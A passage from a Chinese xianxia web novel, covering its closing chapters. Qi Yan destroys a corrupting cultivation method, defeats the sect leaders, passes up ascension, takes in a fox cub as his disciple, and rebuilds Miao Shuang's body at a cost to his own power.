孤云阁掌门的脸上露出惊骇之色:“你是说,这些魔气已经混杂进修真界的灵气中了?!” “难怪我们这几百年来锻剑锻出的废品率越来越高,我只道这些弟子一届更比一届差,居然没往这方面想!”万剑宗掌门道。 “你们住得高,就算被影响也是最晚的一批,我们御兽门早就感觉到了,派内灵兽都魔化了不知多少,”一人说着耸了耸肩膀,自嘲道,“不过,反正我们御兽门在仙门诸派中也是查无此门,没人在意我们。” “所以,修真界几千年来没被魔气污染,是因为有青锋派弟子以身镇魔?” “诸位掌门说得不错,”祁雁开口道,“仙门修士越多,修真界的魔气也就越多,几千年来,人族不再受到妖族威胁,各大门派接连兴起,所招收的弟子数量都翻了不知几番,魔气便也成倍数增加,按照现在的速度,只怕再过个一两千年,修真界就要彻底沦为魔域了。” “那怎么办?”有人开始惶恐,“如今已经没人镇魔了,我们要如何阻止魔气蔓延?” 祁雁瞥他一眼:“阻止?若真能阻止,青冥君会因镇魔而殒?” “那泊雁仙尊有什么好办法?” “而今唯有一法,根源在何处,便从何处掐断,先让魔气不再产生,再慢慢解决剩下的。” “如何能让魔气不再产生?” 祁雁手中不知何时多了一本古旧的书,封面上写着“青冥心诀”四个大字:“此乃青冥心诀原篇,为青冥君亲笔所书,今日,我便当着诸位仙友的面毁去此诀。” “……哈哈哈哈哈哈哈!!”项掌门突然放声大笑,“泊雁仙尊,你把自己关在冰牢里一千年,脑子都关傻了吧!就算你毁了这心法的原篇,又能影响到什么?你难道还能一并毁了我们已经修炼成的青冥心诀,废了我们的修为不成?!” 众人哄然大笑,也有人摇头叹息:“青冥心诀诞生至今几千年,早已成为修真者的心法基础,由此心法衍化而来的近似心法不计其数,就算毁去此诀,就算我们不再修炼此诀,转而修炼其他心法,也依然是青冥心诀的衍生篇,改变不了任何事。” 祁雁冷冷注视着他们,面上表情并无半分变化:“当年,就是因为众仙门阻挠,青冥君才没能毁去此诀,但他早已预料到了今日,在以身镇魔之前,他写下了这份青冥心诀破诀,只需一个化神境修为,且未曾习练青冥心诀的修士吟念之,便可让青冥心诀彻底从修真界抹除,包括所有衍生版本中包括青冥心诀的部分,也包括诸位已经修习成功的心法。” “这是青冥君为修真界留下的,最后一条退路。” 闻言,项掌门脸色蓦地一变:“你说什么?!” 他伸手便要来抢祁雁手中的书,却意外抢了个空,他的手掌径直穿过了那本书,只抓到一缕青烟。 青冥心诀已然出现在祁雁另外一只手中,他将书从后往前翻,最后几页的背面赫然是几页金字。 项掌门没能抢下书,脸色僵硬了一瞬,又无所谓地笑起来:“就算是这样,那又如何?纵观整个修真界,你真能找到一个没修习过青冥心诀的人?别说化神境了,能修到元婴都是仙道天才!” 他转身看向身后:“诸位,我们仙道所有化神境以上的修士都在此处了吧!你们倒是说说,你们谁没练青冥心诀,谁能替泊雁仙尊念这破诀之诀?!” 众人窃窃私语,皆是摇头,项掌门又得意地回过头来:“怎样,泊雁仙尊?你若真想办成这件事,不妨现在就去培养门中弟子,再过个几千年,说不定真有人达到你的标准呢!哈哈哈哈!” “何需如此麻烦?”祁雁淡淡道,“找到这样一个人,确实难,但也并非完全没有,毕竟——此人远在天边,近在眼前。” 项掌门的笑容凝固在脸上,他似是有所预感,愕然道:“什么?!” “自落晚师弟被选中以身镇魔,离开青锋派的那一天起,我便自废修为,舍了这青冥心诀,一切从头来过,”祁雁以指捏剑诀,缓缓凑到唇边,黑眸之中陡然凌厉,“天下第一心法又如何?我祁雁,从来不是非它不可!” 第159章 落定 把你交给别人,我不放心。…… ……什么? 祁雁根本没修炼青冥心诀? 这个消息即便是苗霜都震惊了, 差点没忍住从玉佩里跑出去。 当年他到万魔峰以后就和祁雁断了联络,祁雁是何时自废修为舍弃青冥心诀的,他一概不知。 若干年后再次交手, 他也没发现对方身上有什么异常。 他一直都以为鸣川师兄是个沉稳冷静的人,没想到越是这样的人, 发起疯来就越可怕。 “怎么可能?”项掌门怒目圆睁,“你没修习青冥心诀, 那你练的是什么?!” “不过是最基础的,也是早已被你们抛弃的心法,清净诀而已。” “……” 各派掌门面面相觑,完全不敢相信这是真的,清净诀这种入门心法,也就适合筑基期及以下的弟子,但凡结了金丹也要换本高级的练,谁能想到,世间真有人练清净诀一直练到了炼虚巅峰? 他们一直以为祁雁也没什么特别的, 所谓“继青冥君之后第二个万年难遇的仙道天才”,不过是借助青锋派的雄厚实力才平步青云, 天生就站在巨人肩膀上的人有什么可吹嘘的? 时至今日,他们才知晓自己过去对祁雁产生了多少误解,就凭练清净诀能练到仙道第一这一点,古往今来都是独一份。 趁他们愣神的当口,祁雁已经开始吟念青冥心诀破诀,书页上的金字化作咒令, 自他抵唇的指间逸散而出。 项掌门面色一凛,挥刀便向他砍来,厉声喝道:“给我停下!” 滔天刀气裹挟着雷霆, 以万钧之力轰然斩下,祁雁飞身后掠,刀气擦着他的鼻尖劈过,刀痕直嵌入仙舟甲板,几乎将整艘仙舟从中间一劈两半。 损坏严重的仙舟再难维持平衡,船身开始向一侧倾斜,一阵令人牙酸的吱嘎声过后,最后连着的几块木板也接连断开。 众修士急忙御起飞行法宝从仙舟之上逃离,九棋谷弟子高声唾骂着,护送莫掌门离开,彻底失去控制的仙舟开始向地面坠落。 祁雁早已飞身而退,口中咒令吟念不停,又以剑诀唤万剑而至,灵力幻化而成的长剑虚影在空中凝聚,他足尖在剑身上轻点,踏剑疾走,项掌门在身后穷追不舍,雷光闪烁间,瞬息已近身侧。 祁雁一个侧身躲开对方砍来的刀,单手回拨于身后,掌中剑影隔开一道不知从何处飞来的攻击,玉如意从远处招来,狠狠撞翻了一个想要偷袭他的修士。 各派掌门纷纷加入混战,开始对他围追堵截,也有少数人选择了隔岸观火,无数道攻击几乎将祁雁吞没,他身法飘忽,在漫天刀势和剑气中闪转,一一避让格挡,十几个门派的掌门合力围攻他,一时竟伤不到他半片衣角。 苗霜在玉佩里都听见了猎猎风声,他十分怀疑这玉佩会在交战中被打碎,但每次攻击只是擦着它飞过,玉佩上的仙术屏障都没泛起一丝涟漪。 忽然,项掌门一声怒喝,猛地将那把宽背大刀下插,灵力在刀身上疯狂涌动,天穹之上,厚重的雷云迅速聚集。 众修士见到这雷云,面色皆是一变,不约而同地停止追击祁雁,向四方散开。 谁都知道这是惊霆刀门的必杀绝技,天雷引,以刀气引天雷至,其威力堪比天劫,几千年来,死在此招下的高阶修士不计其数,仙体都能被劈成渣,神魂俱灭。 项掌门元婴期时,就曾借此技跨阶击杀过化神修士,而今他已至炼虚,普天之下恐怕再没人能挡得下来。 雷云在天幕上翻滚,云层中电闪雷鸣,天色都暗了下来,方圆百里已无人迹,祁雁抬起头,只见一道比人还粗的天雷正在自己头顶凝聚。 项掌门须发皆张,大喝一声:“祁雁,受死吧!” 天雷撕裂苍穹,轰然而落,即便是修真界最快的身法也已来不及躲闪,震耳欲聋的雷声让整片天地都为之震颤。 项掌门面容几近狰狞:“千年前没杀你,今日便让你灰飞烟灭!” 他说着大笑出声,可才过去没几秒,那笑容又陡然凝固。 惨白的天雷映亮天地,也映亮祁雁冷峻的面容,他并未躲闪,而是伸出手,向着已劈至跟前的天雷轻轻一握。 一人粗的天雷便在他五指间收缩成一束,猛烈的雷势扬起他鬓边碎发,却并未灼伤他分毫,寒气自掌心蔓延,竟生生将天雷冻结,顺着雷光攀缘而上,直入天际。 项掌门面色大骇:“什么?!” 祁雁用力一攥,被冻结的天雷便在他掌中破碎,冰凌化作数不清的细小冰屑,如雾般爆开,又纷纷而落,晶莹剔透,闪闪发光。 他的身形猛地从冰雾中穿出,直朝项掌门而去,后者猝不及防,情急之下只能横刀抵挡,祁雁足尖在刀身上猛踏,力道之大,直接将对方的虎口震出血来。 炼虚期的仙体竟经不住他这么一踹,项掌门整个人被击飞出去百丈远,直接撞碎了一座山峰。 祁雁在他的刀上借力,跃至高空悬停,继而双手掐诀,千万柄灵力飞剑自虚空中凝现,如雨落下。 灵剑精准地飞向各派掌门,众人御起灵力抵挡,可那透明的剑身却径直穿过他们的武器乃至护身法宝,没入心口,又从身后穿出。 灵剑并未在他们身上制造出伤口,所有人却都觉得体内一凉,仿佛有什么东西被一剑斩碎。 穿身而过的飞剑接连撞向天幕,落成一个个硕大的金字,铺展开去,共同组成青冥心诀破诀之咒。 各派掌门大惊失色,还想阻止,却已经来不及了,他们只感觉体内一阵撕裂般剧痛,宛如割肉刮骨,青冥心诀便这样被生生抹去,有人甚至金丹碎裂,元婴化魔。 苗霜倒是没什么感觉,大概因为他只是神魂状态,早就没有修为了,他听到众修士凄厉的嘶嚎,一时心情复杂,这本成就了无数人,又害了无数人的功法,终于迎来了化为灰烬的时候。 不过,祁雁这手段未免太过极端,当年青冥君没能下得去手,并非心慈手软,只是毁去青冥心诀会带来一系列连锁反应,就如现在这般。 心法反噬,曾经被强行排除己身的恶念开始疯狂倒灌,意志不坚定的几个瞬间入了魔,项掌门不知何时又爬了起来,他双目赤红,周身魔气弥漫,以身化天雷,再向祁雁斩下一击。 祁雁横剑挡下刀锋,入魔后的项掌门狂性大发,这一刀的威力更胜从前,裂纹在灵剑虚影上迅速蔓延,眼看着就要碎尽。 祁雁眉头一压,手掌轻抵剑身,在灵剑彻底碎裂前将灵力灌注其上,与刀势相撞,猛地炸开。 他便借爆炸的冲击力将自己弹开,流星般向地面坠落,耳边风声呼啸,疾速下坠带来难以形容的失重感,让苗霜都感觉自己要被从玉佩里甩出去。 项掌门亦加速下坠,入魔让他失去理智,势要和祁雁决一生死。 离地面越来越近,两人之间的距离也越来越短,闪着寒光的刀尖几乎要刺入祁雁的眼,便在此时,他眉宇间陡然一凛,喝道:“起!” 一个覆盖了方圆千里的大阵终于布置完成,数万柄灵剑自地面冲天而起,又有数万柄灵剑自天际下插,犹如两张无形的大网,将各派掌门悉数网入其间。 项掌门下落的身形猛地止住,两人之间的距离在缩短到无的那一刻骤然拉大,对方的身形被剑阵强行拔起,拉向高处。 玉如意飞至祁雁身下,轻轻将他托起,祁雁借力一个旋身,人已稳稳地站在了如意上,他御着法宝再次升向高空,双掌交错相对,用力合拢:“收!” 随着他的话音,上下剑阵也立即收束,自天穹落下的剑钉入地面,自地面升起的剑刺入天空,所有修士被牢牢锁入剑阵当中。 滔天魔气在阵中冲撞,修士们发疯一般攻击着剑阵,却只是徒劳,苗霜透过玉佩看向远处,不禁一愣。 好眼熟的阵图,这是诸天缚魔大阵? “千年前,诸位不让我用此阵困住魔尊,那今日,只能请你们自己尝尝!” 祁雁说着,又将大道书撕下一页,狐尾笔在书页上一挥,一个芥子世界瞬间形成,他将书页抛出,白光闪过,缚魔阵连同阵中的人被一并吸纳进书页当中。 天地之间顷刻间安静了下来,祁雁在如意上静立片刻,忽然发出几声闷咳,他抬手拭去唇角血迹,闭上眼睛,缓缓呼出一口气。 苗霜从玉佩里钻了出来,发现周遭环境十分陌生,这才意识到他们早已不在青锋山附近了。 难怪一开始某人只守不攻,大抵是为了将那些人引到远处,以免波及派内弟子。 他看向身边的人,神色复杂。 一边斗法,一边念咒,一边布阵,这人一心三用居然还有余力,还能再创造出一个芥子世界来,这样的修为,恐怕已经不是修真者的范畴了。 “你几时到了炼虚圆满?”苗霜开口问道。 祁雁转过头来。 像是为了印证他的话,遥远的云层上突然亮起金光,一道大门的虚影缓缓浮现,似有百尺高,巍峨庄严。 天道之门? 据说,修真界有人境界圆满,即将合道时,天道之门就会开启,过了此门,便飞升而去,再不复回。 苗霜一直以为这是个传说,毕竟数千年来从没有人顺利飞升过。 天道之门遥立云端,金光照彻大地,整个修真界都变得金碧辉煌,各门各派的修真者纷纷抬头望去,愕然注视着这此生难得一见的奇景。 天道之门出现,预示着祁雁已修成大道,经天道准许,可以飞升离去了,苗霜垂下眼帘,不知为何竟有些失落。 他早猜到祁雁勘破道心,离飞升就不远了,却没想到竟来得这么快,他微不可闻地叹了口气:“怎么还傻站着,快走吧。” 祁雁似是不解:“去何处?” “……”苗霜顿了一下,莫名其妙地看向他,“飞升啊。” “为何要飞升?” “?”苗霜表情变得古怪起来,“你修道至今,不就是为了合道飞升?现在天道之门都开了,你却问为什么要飞升?” “我修道并非为了飞升,”祁雁远远地看了那金色大门一眼,“更何况,我还有重要的事情没有完成,不能走。” “你还有什么重要的事?青冥心诀也毁了,入魔的掌门也抓了,接下来,修真界的一切会慢慢回到正轨,也不需要你再做什么。” “但你还没有活,”祁雁道,“仅有神魂,还是太过脆弱,我会为你重塑肉身。” 金光已经开始变淡,苗霜有点急了:“来不及了,重塑肉身找谁都行,你再不走就没时间了。” “把你交到别人手里,我不放心,”祁雁伸手一招,强行把他收回玉佩当中,御着玉如意往青锋派的方向回返,“不过今日灵力耗尽,有些累了,先回派内休整几日。” 金色的大门缓缓在云端消散,随着最后一缕金光消失,夜幕也终于降临。 苗霜眼睁睁看着天道之门关闭,气得咬牙切齿:“祁雁!!” 第160章 善后 道心所系。 祁雁充耳不闻, 御着玉如意回到了青锋派。 天道之门的出现惊动了所有人,说整个修真界为之震动毫不夸张,他们才刚落地, 弟子们就围了上来,七嘴八舌地询问是怎么一回事。 比起祁雁飞升, 更令人震撼的是祁雁没飞升,天道之门都开了他却没走, 修真界近万年来第一个能成功飞升的修真者,竟然放弃了已到眼前的机会。 祁雁并没有解释太多,只说自己还有要事要办,暂且抽不开身,弟子们还想再问,却突然有人痛苦地大叫出声:“啊呃……怎么回事……我的金丹!” 紧接着,其他弟子也纷纷出现了同样的情况,有人双目赤红,近乎发狂, 身上隐隐开始冒出魔气。 “青冥心诀……”代掌门咬牙坚持,“师祖您……做了什么?” 祁雁眉心微蹙, 沉声道:“先别问那么多了,照我说的做——凝神静气,抱元守一,运清净诀,循环周天。” “清净诀?” 来不及再顾及其他,弟子们纷纷盘膝入定, 祁雁又唤了几把飞剑,插入青锋山各处,布下了一个简易版的诸天缚魔阵。 反噬的魔气从弟子们身上抽离, 被阵法引导着汇聚于一处,渐渐在半空中凝聚出一个黑色的气团。 青冥心诀被毁,所有修习此心法的修真者都会遭到反噬是必然的,不过反噬程度也有所不同,随着修炼加深,反噬也就越厉害,简而言之,修为越高,反噬越强。 各大门派的掌门都是修真界的佼佼者,受到的影响自然最大,这也是祁雁要把他们关入芥子世界的原因,若是放任他们入魔发狂,这修真界也和魔域没区别了。 祁雁看着天上那个越来越大的气团,神色有些沉重,虽然他早就料到会出现这样的情况,但修真界的魔气含量还是超过了他的预期。 青锋山万仞之高,又有云海阻隔,这里的灵气都已被魔气渗透,那其他地方更加不容乐观。 可见逆练青冥心诀吸收魔气这招确实管用,有时候他不得不承认,青冥君此计当真是损失最小又最切实有效的方法。 也怪不得历代掌门不愿抛弃此法,牺牲一人换世间平安千年,怎么看都是一笔划算的买卖。 若当年去万魔峰镇魔的不是苗霜而是他,他甚至希望苗霜不要学他,他并不想让苗霜来收拾这么大一个烂摊子。 想到苗霜,他忽然发觉对方半天没动静了,便用心念向他传音:“师弟怎么不说话?” 没人回应。 祁雁又唤了一声,苗霜才没好气道:“跟你没什么话好讲。” “我没飞升,师弟生气了?” “不能,你飞不飞升是你自己的事,和我有什么关系。” “那师弟怎么阴阳怪气的?”祁雁忍不住微扬唇角,“我留下来陪你,你难道不高兴?” 苗霜不吭声。 平心而论,他当然高兴,再阴暗一点,祁雁为了他放弃大道,他高兴得不得了,但出于理智,他还是希望祁雁能顺利合道。 或许是因为看过那三千个芥子世界里祁雁为自己书写的悲惨结局,他更加不能忍受这种拼尽全力最后却功亏一篑的事情发生。 见他又半天不说话,祁雁唇边笑意渐淡,轻叹道:“只是暂时没走,又不代表就永远没机会了,我能合道一次,就能合道第二次。” “哈,”苗霜一扯嘴角,“那你还真是有自信,别在这里烦我了,不想理你。” 祁雁只得作罢,又去看了看派内弟子的情况,有缚魔阵压制,倒是没有人彻底入魔。 天上的魔气团已经很大了,他站在高处,伸手一招,气团便向他飞来,寒气在他掌心弥漫,很快将魔气冻结成冰,又在仙法之下碎为齑粉,消失殆尽。 祁雁呼出一口气,处理这些魔气看起来容易,实际上却要消耗大量灵力,他今日和各派掌门一战,实在是灵力透支了,现在浑身疲惫,只想休息。 他回到自己的仙府,把苗霜从玉佩里放了出来,对他道:“此地灵气充沛,适合你温养神魂,暂且住在此处吧。” 苗霜瞥他一眼,不冷不热地开口道:“我一直有个疑问,都说证道之前,先斩心魔,你怎么反其道而行之?有了心魔,方得证道?” “心魔……”祁雁淡淡一笑,“与其说是心魔,倒不如说是道心所系,退一万步讲,也没人规定有心魔就不能飞升,不是吗?” 苗霜抱起胳膊:“强词夺理。” “大道之本,在于阴阳调和,既然我与心魔能维系平衡,如何不算证得大道?” “……”苗霜沉默片刻,“你还是睡觉吧。” 历经三千个芥子世界,不管别的如何,这口才是练得炉火纯青了。 祁雁大抵是真的累了,没再开口,竟真在玉榻上躺了下来。 他们这种境界的修真者,其实早已经不需要睡眠,可他今日才从芥子世界中醒来,又被迫布阵斗法,已是身心俱疲,连静心打坐都懒得,只想酣睡一场。 脑袋才刚沾到玉枕就失去了意识,苗霜站在旁边,盯着他看了一会儿,觉得此刻的祁雁和芥子世界中那个刚刚得胜还朝的皇帝祁雁没什么区别。 他背负得太多,以一人之力肩负起天下苍生,终究有精力耗尽的一天。 苗霜坐在床边陪着他,可惜现在触碰不到,不能相拥而眠,总觉得缺少了点什么。 庭院中传来几声鹤鸣,大概是某人养在仙府中的灵宠,两个弟子打扫着门前的积雪,很快又离开,除此以外,附近再无声响。 好生冷清。 这青锋山万仞之高,终是高处不胜寒。 祁雁这一觉一直睡了一天一夜,苗霜守着他久了也觉得无聊,跑去院子里用白蛇吓唬仙鹤玩,在仙府中四处闲逛。 祁雁醒来时第一眼没看到人,但能感觉到对方的气息离他不远,他随手捏了道净衣诀,开口唤道:“小霜?” 苗霜直接穿墙而入,揣着袖子道:“干什么?” “无事便不能唤你?” “……”苗霜果断又穿墙走了。 见他无碍,祁雁放下心来,离府去办正事。 一天过去,缚魔大阵又汇聚起不少魔气,他将气团除净,观察了一下派内弟子,大部分人情况已经稳定了,只是因功法反噬,或多或少都有境界跌落的状况出现。 毁去青冥心诀,人族修士的整体实力必然大减,但这也是没有办法的办法,他们借助这本心法逍遥了太多年,不该得到的,终归要还回去。 代掌门来向他汇报仙门各派的情况,和青锋派一样,各派弟子也出现了功法反噬的状况,又没有缚魔大阵镇压,情况比青锋派更严重不少。 加上各派掌门在和泊雁仙尊一战过后离奇失踪,此时的修真界人心惶惶,人们猜测万千,有说泊雁仙尊已合道而去,人族修士再无强者坐镇,马上就要变天了。 也有传泊雁仙尊为了死去的魔尊已经疯了,向整个修真界复仇,在飞升之前把所有人一网打尽,害过魔尊的人都得死。 甚至有人怀疑泊雁仙尊证的根本不是苍生道,而是灭世道,现在他合道而去,说明这修真界马上就要毁灭了。 传言越来越离谱,心法反噬让人杂念陡生,更是雪上加霜,入魔者不在少数。 对此,祁雁并不想继续跟他们浪费口舌,只让代掌门散出消息,说入门心法清净诀能很好地克制魔气,守灵台清明。 又削了一座山的山峰,倒悬成浮空平台,收了青锋派内缚魔大阵置于平台之上,告诉各派可将入魔弟子送入此阵,大阵会将魔气抽离,令堕魔之人重归仙途。 只是大阵所能承载的魔气有限,哪派送弟子来,哪派就得负责将抽出的魔气用仙力清除,若有任何一派没有善后,他都将不再借缚魔大阵给各派使用。 如此一来,没头苍蝇一样的各门派总算是暂时有了应对之法,纵然泊雁仙尊抓了他们的掌门,他们却也只能继续按泊雁仙尊说的做。 至于芥子世界里的各派掌门就没那么好运了,魔气彻底清除之前,祁雁不会放他们出来,当年一战仙门诸派皆有参与,不论是幕后主使还是受人挑唆,都得为自己的行为付出代价。 修真界暂时安定下来之后,祁雁带着苗霜离开了青锋派。 他要寻一处地方为苗霜重塑肉身,但这么做势必会招致天谴,青锋派才刚刚元气大伤,还是不要在派内做这种事为妙。 思来想去,他觉得最合适的地方还得是万魔峰,现在那里一片空地,什么都没有,就算招来天谴,也不会伤及无辜。 他御着玉如意离开青锋山,才刚出护山大阵,就感觉一股妖气尾随上了他们,他停下法宝,狐狸虚影果然现身。 “汝总算出来了,”妖王狐绥的神识拦在他们面前,“青锋派的护山大阵真是让狐爪麻,青冥君这老东西不但精于剑道,还善阵法,泊雁仙尊,汝也算是青出于蓝而胜于蓝了。” “妖王有何事?”祁雁抬头看他,“青锋派正在准备谢礼,不日将送到妖王府上。” “吾不要汝的谢礼,吾府邸也没狐,汝去了只能扑空,”狐绥将尾巴一卷,把一样东西扔上他们的玉如意,“汝答应吾之事该兑现了,此子就交由汝照看,传其仙法,授其大道,吾与妖后在外游玩,短时间内不会回来,此子黏人,吾甚烦,就拜托汝了。” 他说完便一溜烟地跑了,好像生怕祁雁反悔似的。 苗霜看着被扔上来的狐狸崽子,愣了一下,神色怪异地看向祁雁:“你答应他的差事,就是帮他带崽?” 而且这画面怎么总感觉似曾相识? 小狐狸被丢上玉如意,看起来摔得不轻,好半天才哼哼唧唧地爬起来,他化形化了一半,看起来是个五六岁的小男孩,耳朵和尾巴却还没收回去,虽然外表看上去和狐狸没太大区别,却全然没有狐狸的狡猾劲儿。 “我隐约记得,那妖后是头黑狼,貌似也是公的,怎么两只男妖也能生?” “嗯,”祁雁伸手轻轻把小狐狸拽起来,“据说妖族有种丹药,叫孕子丹,服下以后便可令男妖孕育,大抵是用此物。” “这些妖玩得还真花,”苗霜一挑眉梢,“所以,这小狐狸崽子到底是妖王生的,还是妖后生的?” “这我便不知了。” 小狐狸晕头转向,这会儿才扶着耳朵抬起头来,看清他样貌的一瞬间,苗霜不禁一愣,诧异道:“太子?” “太……子?”小狐狸茫然和他对上视线,眼睛并非狐瞳而是狼目,瞳孔略大,看起来十分单纯,“那是什么呀?” 苗霜:“……” 不对,不是太子。 只是样貌有些神似,他身上并没有太子的气息,就如季澜不等于狐绥。 芥子世界中的一切都是祁雁创造的,可能是他的潜意识影响了那些人的样貌,本质和修真界并无关系。 不过,长成这副模样还真是过分,芥子世界中的他和祁雁在太子十五岁时就死了,也不知太子后来过得如何,有没有成为一代明君。 想着,他问:“你叫什么名字?” 小狐狸抬起头:“蠢货。” “?”苗霜的脸色一下子黑了下来,“骂谁蠢货呢?” 小狐狸吓得一哆嗦,一双耳朵向后背去:“我、我没骂人啊……父王叫我蠢货……” 苗霜:“。” 这是人能起出来的名字? 哦,那妖王本来也是不是人。 祁雁:“据妖王说,也许是孕子丹的缘故,此子先天不足,自降生以后便生命垂危,发育迟缓至极,三百年过去才第一次睁眼,睁眼以后也是懵懵懂懂,别说修炼了,又三百年方学会走路、说话,再三百年才能化形。” 按正常狐狸的修炼速度,一千年都够修出两条尾巴了,这小东西居然还没长大。 苗霜看着他道:“所以妖王就把这活儿扔给你了?” 祁雁点了点头:“妖王妖后为保住他费尽心血,已是烦不胜烦了,狐绥自断一尾让我帮他照看独子,我也不好拒绝。人与妖都依赖灵气修炼,本质并没有什么不同,我观他灵根并无异状,大抵只是成长得比别人慢些。” 苗霜在小狐狸面前蹲身:“既然这样,那你就唤名‘迟’如何?狐小迟,我便这么称呼你了。” “小……迟……”小狐狸歪着脑袋思索了一会儿,笑逐颜开,“小迟喜欢!” 迟…… 祁雁看向苗霜。 季迟,是太子的名字。 不过太子聪慧,什么东西一点就透,不然他们也不能放心把江山交给年仅十五岁的太子,只是太子极端怕虫,苗霜还偏要教他蛊术,太子边哭边学,没少受苦。 虽然苗霜时常用蛊虫吓唬太子,但怎么说也培养了他十几年,还是有感情的。 正想着,苗霜伸手摸了摸小狐狸的脑袋——虽然并不能真的摸到——笑眯眯道:“小迟会化形吗?会变成狐狸吗?” 狐小迟用力点头:“我会!” “能变多大?” “变不了父王那么大,”狐小迟认真思考,“不过,能变得比,比这个……这个东西还大。” 他说着指了指脚下的玉如意,大概是不知道这法宝叫什么名字,半天也没“这个”上来。 “那小迟很厉害啊,”苗霜夸奖他道,“变一个给我们看看如何?” “好呀!”时常被同族的狐狸骂笨的狐小迟因这一句夸奖心花怒放,当场幻化成威风凛凛的白狐,雪白的狐毛被风一吹,顺滑又飘逸。 苗霜果断离开玉如意,骑上了狐狸,对祁雁道:“走,坐狐狸。” 祁雁:“……” 有点感情,但不多。 【终章】 第161章 归雁 雁字归时,霜落满头。…… 见他半天没跟上来, 苗霜忍不住催促:“快点啊,还愣着干嘛?” 祁雁犹豫再三,终是不得不收起玉如意, 踏上狐背,对狐狸道:“去万魔峰。” 狐小迟抖了抖耳朵, 迷茫道:“万魔峰在哪里?” 祁雁叹口气,开始反思人至少不应该雇佣五岁幼狐, 招出一柄灵剑:“你跟着剑飞。” “好的师父!” 祁雁沉默了一下,神色变得有些怪异:“你叫我什么?” “师、师父,”狐小迟边飞边道,“父王说,我跟随仙尊修行,仙尊以后就是我的师父。” 祁雁:“……” “仙尊……不想收我为徒吗?”小狐狸的声音变得有些颤抖,“小迟会听仙尊的话,不惹事,求仙尊不要丢下我……” 祁雁摸了摸狐狸的皮毛:“不是这个意思, 我既然答应了妖王,便不会出尔反尔, 你放心吧。” 他只是想说,是徒弟的话就更奇怪了,把徒弟当坐骑这种事…… 狐小迟闻言又高兴起来:“谢谢师父!” “管他叫师父,那你管我叫什么?”苗霜不甘寂寞地开口。 狐小迟思索了一下,自言自语道:“父王说,魔尊是仙尊的师弟, 我管仙尊叫师父,那就应该管魔尊叫……师叔!” 苗霜笑吟吟道:“不错,记得, 以后不管见了谁,都得管我叫师叔。” “好的!”狐小迟一口应下,“不过,仙尊和魔尊为什么会是师兄弟呢?他们都说仙魔不两立,还说是仙尊杀了魔尊,可仙尊杀了魔尊为什么又要复活魔尊……” 苗霜和祁雁同时沉默下来,不约而同地在内心思索向一只不太聪明的狐狸崽子讲清楚这些事需要浪费多少口舌。 最终,两人十分默契地谁都没有回答,祁雁轻声道:“大人的事总是很复杂,小迟还小,不需要搞懂,等你长大了自然会明白。” “父王也经常这样说……小迟会努力长大的!” 苗霜心说这也不是你努力就能办成的事,就这么哄了狐狸崽子一路,很快他们抵达了万魔峰。 狐小迟落下地来,望着这一望无际的冰面,疑惑道:“这里就是万魔峰吗?为什么一座‘峰’都没有呀?” 苗霜和祁雁接连跃下狐背,狐小迟重新化回人形,许是从四条腿变成两条腿不太适应,刚迈出一步,就咚的一声摔倒在了光滑如镜的冰面上。 苗霜在旁边忍俊不禁,狐绥这么个狡猾的狐狸,居然还能生出这么笨的崽子,妖族的未来也是堪忧啊。 祁雁把小狐狸从地上扶了起来,仙术一挥,冰面立刻变成了雪地:“万魔峰已毁了,且永远不会再回来,不如从今往后,就管这里叫寂雪野吧。” 他说着转向苗霜:“就在这里吧,师弟。” 苗霜点点头。 两人面对面,在雪地里盘膝而坐,祁雁又对狐小迟道:“别跑太远,等下不管发生什么,都别害怕,只要在我的结界之内,就是安全的。” 说罢,他闭上双眼,运转灵力,一个透明的仙术结界在周身展开,将三人覆盖其中。 “凝神静气,排除杂念,依我所引,受我所授。” 祁雁的声音在苗霜耳边响起,又或者不在耳边,而在识海之内,层层叠叠的回音在周身环绕,他能感觉到一股浩瀚的灵力向自己灌注而来,凉,却不冷,如雪野上穿行而过的风,清澈不染一丝杂质。 灵力越灌越多,他的身体开始发热,他感觉到难以忽略的痒,似是血肉开始生长,又感觉到钻心的疼痛,似是骨骼在不断抽长,血肉之躯被仙力重塑,游离已久的神魂再次有了凭依。 肉身重塑的过程实在很不舒服,却又相当奇妙,苗霜开始能通过这副全新的身体感知周遭的一切,能够再次触碰到祁雁,体会到风擦过脸颊,雪粒在眉梢融化成水。 这片天地对他来说终于又有了实感,就在他准备松一口气,站起来活动活动这副新身体时,却忽然发现自己根本动不了。 不仅如此,向他灌注的灵力也没有任何停下的迹象,他与祁雁双掌相抵,灵力源源不断地从紧贴的掌心汇入他的经脉,又被对方引导,在体内畅行周天。 苗霜终于感觉情况不太对了,可他开不了口,只能尝试在识海中呼唤祁雁:“你在干什么?” 祁雁充耳不闻,苗霜又道:“快停下!” 祁雁非但没有停下,反而加快了灵力灌注的速度,苗霜只感觉浑身经脉酸胀无比,纯净的灵力疯狂向丹田汇聚,越聚越多,越凝越紧,直至收缩成一颗金丹。 平地里忽然起了一阵狂风,天色在顷刻间暗了下来,狐小迟抬起头,惊恐地望向上空:“天、天劫……!” 劫云开始在头顶聚拢,虽然这金丹期的雷劫只是雷声大雨点小,没什么好怕的,但祁雁明显还不打算止步于此。 苗霜咬牙切齿:“祁雁!给我停下!” 灵力灌体还在持续,很快,那枚金丹便改换了形状,化作呱呱坠地的婴孩模样。 四野风更大了,劫云也愈发厚重,狐小迟捂住被吹得乱飞的耳朵:“呜呜……师父……师叔……” 苗霜眼睁睁看着自己境界飞涨,不消多时便触碰到了化神瓶颈,这是古往今来所有修士最难突破的一道坎,有无数人终此一生也无法度过。 一路势如破竹的境界突破终于在此时受到了阻碍,祁雁眉头紧锁,不顾一切地向对方灌输灵力,急剧损耗的修为和寿元让他的境界重重跌落,三千青丝开始染上霜色,自发根一点点向发梢蔓延。 突然,一道天雷自苍穹落下,惨白色的雷光击中仙术结界,在结界之上制造出一片涟漪。 狐小迟被吓得浑身毛都炸了,过分猛烈的风让他已经无法站稳,一不留神便摔倒在地,在雪中骨碌了几下才停住,他蜷缩身体低伏在地上,化指成爪,拼命抠住雪地,眼泪汪汪道:“呜呜呜……父王……爹爹……” 苗霜急得像被架在火上烤,他怒火中烧,在心里把姓祁的砍了一万遍,却是无可奈何。 天杀的东西,难怪天道之门开了都不肯走,原来在这等着他呢,境界跌落至此,还飞升个屁! 他一直认为重塑肉身就是从零开始,却没想到祁雁还有这招,损耗自身修为给他灌输灵力让他一步登天,还说什么把他交给别人不放心,必须亲自来,他居然信了他的鬼话! 